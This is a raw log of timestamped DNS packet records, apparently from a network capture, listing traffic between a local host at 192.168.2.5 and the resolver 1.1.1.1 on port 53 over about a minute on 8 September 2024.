Sep 8, 2024 08:41:40.349941969 CEST	53	61190	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:40.402683973 CEST	56530	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:40.680160046 CEST	53	56530	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:40.680177927 CEST	53	56530	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:40.797307014 CEST	61849	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:41.115003109 CEST	61849	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:41.331197023 CEST	53	61849	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:41.331244946 CEST	53	61849	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:41.357445955 CEST	57212	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:41.607145071 CEST	57212	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:41.895867109 CEST	53	57212	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:41.895885944 CEST	53	57212	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:42.017301083 CEST	61586	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:42.214523077 CEST	53	61586	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:42.217896938 CEST	61199	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:42.260000944 CEST	53	61199	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:42.376166105 CEST	56320	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:42.478571892 CEST	53	56320	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:42.502327919 CEST	55052	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:42.760545969 CEST	55052	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:43.335702896 CEST	53	55052	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:43.335722923 CEST	53	55052	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:43.457163095 CEST	64428	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:43.466495991 CEST	53	64428	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:44.606662035 CEST	55404	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:44.615268946 CEST	53	55404	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:45.762090921 CEST	55782	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:45.819416046 CEST	53	55782	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:45.822443962 CEST	57707	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:45.864221096 CEST	53	57707	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:45.980727911 CEST	64075	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:45.989835978 CEST	53	64075	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:47.090538979 CEST	65402	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:47.146241903 CEST	53	65402	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:47.148951054 CEST	62792	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:47.209119081 CEST	53	62792	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:47.324512005 CEST	64107	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:47.341722012 CEST	53	64107	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:47.343873978 CEST	49319	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:47.605453014 CEST	49319	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:47.612202883 CEST	53	49319	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:47.617156982 CEST	53	49319	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:48.262608051 CEST	53141	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:48.271459103 CEST	53	53141	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:48.277404070 CEST	51977	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:48.286422968 CEST	53	51977	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:48.402888060 CEST	57825	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:48.671490908 CEST	57825	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:48.678149939 CEST	53	57825	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:49.015939951 CEST	53	57825	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:49.422717094 CEST	61393	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:49.668370962 CEST	61393	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:49.675031900 CEST	53	61393	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:49.915388107 CEST	53	61393	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:50.246359110 CEST	59408	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:50.419190884 CEST	53	59408	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:50.421329975 CEST	64725	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:50.594250917 CEST	53	64725	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:50.699678898 CEST	56606	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:50.708864927 CEST	53	56606	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:51.841026068 CEST	63015	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.007105112 CEST	53	63015	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.009239912 CEST	54194	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.261791945 CEST	54194	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.266103029 CEST	53	54194	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.268958092 CEST	53	54194	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.412550926 CEST	59098	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.447329044 CEST	53	59098	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.451694012 CEST	49857	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.483179092 CEST	53	49857	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.591113091 CEST	57854	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.601424932 CEST	53	57854	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.608357906 CEST	64612	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.855848074 CEST	64612	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:52.862458944 CEST	53	64612	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:52.884601116 CEST	53	64612	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:53.605673075 CEST	53990	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:53.691512108 CEST	53	53990	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:53.718089104 CEST	53367	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:53.968015909 CEST	53367	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:54.210220098 CEST	53	53367	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:54.210238934 CEST	53	53367	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:54.325006962 CEST	54613	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:54.574170113 CEST	54613	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:54.887007952 CEST	53	54613	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:54.887023926 CEST	53	54613	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:54.907166004 CEST	49643	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:55.155514956 CEST	53	49643	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:55.262633085 CEST	56420	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:55.428380966 CEST	53	56420	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:55.430548906 CEST	63448	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:55.615066051 CEST	53	63448	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:55.731081009 CEST	56861	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:55.996237040 CEST	56861	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:56.003119946 CEST	53	56861	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:56.348526001 CEST	53	56861	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:56.865144968 CEST	65054	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:56.949251890 CEST	53	65054	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.058969021 CEST	64850	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.076343060 CEST	53	64850	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.082062006 CEST	62317	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.092345953 CEST	53	62317	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.211282969 CEST	55849	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.467664003 CEST	55849	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.499145031 CEST	53	55849	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.499161959 CEST	53	55849	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.513267040 CEST	62061	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.523106098 CEST	53	62061	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:57.636920929 CEST	59206	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:57.886702061 CEST	59206	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:58.271008015 CEST	53	59206	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:58.271023989 CEST	53	59206	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:58.273143053 CEST	55585	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:58.532592058 CEST	55585	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:58.539086103 CEST	53	55585	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:58.919974089 CEST	53	55585	1.1.1.1	192.168.2.5
Sep 8, 2024 08:41:59.465167046 CEST	59635	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:41:59.491280079 CEST	53	59635	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:00.647504091 CEST	61559	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:00.657181978 CEST	53	61559	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:01.793251038 CEST	62324	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:01.818346024 CEST	53	62324	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:02.952492952 CEST	60696	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:02.989109039 CEST	53	60696	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:03.043137074 CEST	65005	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:03.074382067 CEST	53	65005	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:03.184617996 CEST	56812	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:03.193356991 CEST	53	56812	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:04.309046984 CEST	58493	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:04.574168921 CEST	58493	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:04.648530006 CEST	53	58493	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:04.648549080 CEST	53	58493	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:04.651453018 CEST	65408	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:04.886626959 CEST	65408	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:05.149888992 CEST	53	65408	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.149902105 CEST	53	65408	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.262258053 CEST	54422	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:05.423711061 CEST	53	54422	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.443572044 CEST	65138	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:05.602977991 CEST	53	65138	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.718188047 CEST	60735	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:05.761259079 CEST	53	60735	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.822139978 CEST	54316	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:05.858177900 CEST	53	54316	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:05.965969086 CEST	55877	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:06.134660959 CEST	53	55877	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:06.139946938 CEST	50457	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:06.308576107 CEST	53	50457	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:06.423649073 CEST	50200	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:06.668499947 CEST	50200	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:06.706873894 CEST	53	50200	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:06.709127903 CEST	57684	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:06.709155083 CEST	53	50200	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:06.945561886 CEST	53	57684	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:07.059122086 CEST	53352	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:07.305212975 CEST	53	53352	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:07.307468891 CEST	54797	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:07.476162910 CEST	53	54797	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:07.592398882 CEST	49628	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:07.820202112 CEST	53	49628	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:07.822249889 CEST	54096	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:08.071170092 CEST	53	54096	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:08.192276001 CEST	55651	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:08.439884901 CEST	53	55651	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:08.441940069 CEST	64963	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:08.603408098 CEST	53	64963	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:08.715117931 CEST	58804	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:08.892215967 CEST	53	58804	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:08.917021990 CEST	59541	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:09.036973000 CEST	53	59541	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:09.152595043 CEST	57822	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:09.418019056 CEST	57822	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:09.524338007 CEST	53	57822	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:09.524358988 CEST	53	57822	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:09.526529074 CEST	50022	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:09.572648048 CEST	53	50022	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:09.699673891 CEST	63462	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:09.708304882 CEST	53	63462	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:10.887229919 CEST	56025	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:11.012419939 CEST	53	56025	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:11.014847994 CEST	59410	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:11.250014067 CEST	53	59410	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:11.355696917 CEST	64357	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:11.398113966 CEST	53	64357	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:11.400149107 CEST	60990	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:11.657383919 CEST	60990	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:11.880434990 CEST	53	60990	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:11.882481098 CEST	53	60990	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.021497011 CEST	49546	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:12.030764103 CEST	53	49546	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.036756992 CEST	64034	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:12.046324968 CEST	53	64034	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.152686119 CEST	59449	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:12.417824030 CEST	59449	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:12.668207884 CEST	53	59449	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.668231964 CEST	53	59449	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.691833973 CEST	57596	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:12.813029051 CEST	53	57596	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:12.918375969 CEST	63725	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:13.168955088 CEST	63725	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.185147047 CEST	63725	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.257769108 CEST	53	63725	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.257793903 CEST	53	63725	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.262491941 CEST	53	63725	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.275609016 CEST	55318	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.511636972 CEST	55318	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.558907032 CEST	53	55318	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.558918953 CEST	53	55318	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.669141054 CEST	53403	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.678816080 CEST	53	53403	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.680807114 CEST	58156	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.692527056 CEST	53	58156	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:14.811505079 CEST	59756	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:14.820498943 CEST	53	59756	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:16.093406916 CEST	53141	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:16.117780924 CEST	53	53141	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.261957884 CEST	51839	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.283632040 CEST	53	51839	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.285670996 CEST	50285	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.454170942 CEST	53	50285	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.558826923 CEST	64796	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.567846060 CEST	53	64796	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.569876909 CEST	65291	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.578906059 CEST	53	65291	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.684034109 CEST	60735	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.879350901 CEST	53	60735	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:17.881392956 CEST	65319	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:17.890610933 CEST	53	65319	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:19.730920076 CEST	56226	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:19.767421961 CEST	53	56226	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:20.887162924 CEST	49826	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:20.906060934 CEST	53	49826	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:22.029026031 CEST	55210	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:22.105460882 CEST	53	55210	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:22.107821941 CEST	64550	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:22.160280943 CEST	53	64550	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:22.266288042 CEST	56197	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:22.527234077 CEST	56197	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:23.081931114 CEST	53	56197	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:23.081950903 CEST	53	56197	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:23.084003925 CEST	49501	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:23.326899052 CEST	49501	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:23.745301962 CEST	53	49501	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:23.745328903 CEST	53	49501	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:23.855684042 CEST	52262	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:23.957998991 CEST	53	52262	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:23.963426113 CEST	64621	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:24.206114054 CEST	53	64621	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:24.325562954 CEST	64377	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:24.336743116 CEST	53	64377	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:25.450546026 CEST	59054	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:25.718348980 CEST	59054	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:26.137470961 CEST	53	59054	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:26.137486935 CEST	53	59054	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:26.141640902 CEST	55599	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:26.390391111 CEST	55599	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:26.982749939 CEST	53	55599	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:26.982773066 CEST	53	55599	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:27.090178013 CEST	62318	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:27.125076056 CEST	53	62318	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:27.131577015 CEST	65088	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:27.164606094 CEST	53	65088	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:27.277631044 CEST	60337	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:27.289709091 CEST	53	60337	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:28.465262890 CEST	64491	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:28.730562925 CEST	64491	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:28.985833883 CEST	53	64491	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:28.985846043 CEST	53	64491	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:29.008872032 CEST	51822	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:29.114947081 CEST	53	51822	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:29.230956078 CEST	65189	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:29.487541914 CEST	65189	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:29.729754925 CEST	53	65189	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:29.729773998 CEST	53	65189	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:29.736197948 CEST	50881	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:29.980695963 CEST	50881	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:30.082693100 CEST	53	50881	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:30.082730055 CEST	53	50881	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:30.192122936 CEST	59625	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:30.355683088 CEST	53	59625	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:30.378073931 CEST	63750	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:30.553800106 CEST	53	63750	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:30.677964926 CEST	59465	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:30.710347891 CEST	53	59465	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:31.855671883 CEST	58063	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:31.902158976 CEST	53	58063	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:31.926417112 CEST	50469	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:31.958221912 CEST	53	50469	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.074584961 CEST	61946	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.111598015 CEST	53	61946	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.114464045 CEST	50813	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.149668932 CEST	53	50813	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.271658897 CEST	63703	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.302639961 CEST	53	63703	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.307214022 CEST	63136	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.502686024 CEST	53	63136	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.610657930 CEST	53457	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.656759024 CEST	53	53457	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.658771038 CEST	60916	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.666071892 CEST	53	60916	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:32.777678967 CEST	53002	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:32.786653042 CEST	53	53002	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:33.904231071 CEST	55397	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:33.913825035 CEST	53	55397	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:33.934734106 CEST	56925	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:33.942667007 CEST	53	56925	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:34.058999062 CEST	50144	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:34.069464922 CEST	53	50144	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:34.092981100 CEST	54613	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:34.109555960 CEST	53	54613	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:34.219557047 CEST	53745	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:34.480391979 CEST	53745	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:34.488846064 CEST	53	53745	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:34.496608973 CEST	53	53745	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:34.959378004 CEST	61175	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:34.969507933 CEST	53	61175	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:36.606652021 CEST	54399	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:36.616808891 CEST	53	54399	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:36.634007931 CEST	61212	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:36.642817974 CEST	53	61212	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:36.746678114 CEST	51821	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:36.843978882 CEST	53	51821	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:36.846054077 CEST	62578	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:36.943480015 CEST	53	62578	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:37.058832884 CEST	52565	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:37.235958099 CEST	53	52565	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:37.238248110 CEST	57833	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:37.405952930 CEST	53	57833	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:37.517955065 CEST	55934	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:37.527153015 CEST	53	55934	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:37.536422014 CEST	60648	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:42:37.544913054 CEST	53	60648	1.1.1.1	192.168.2.5
Sep 8, 2024 08:42:37.652757883 CEST	61232	53	192.168.2.5	1.1.1.1
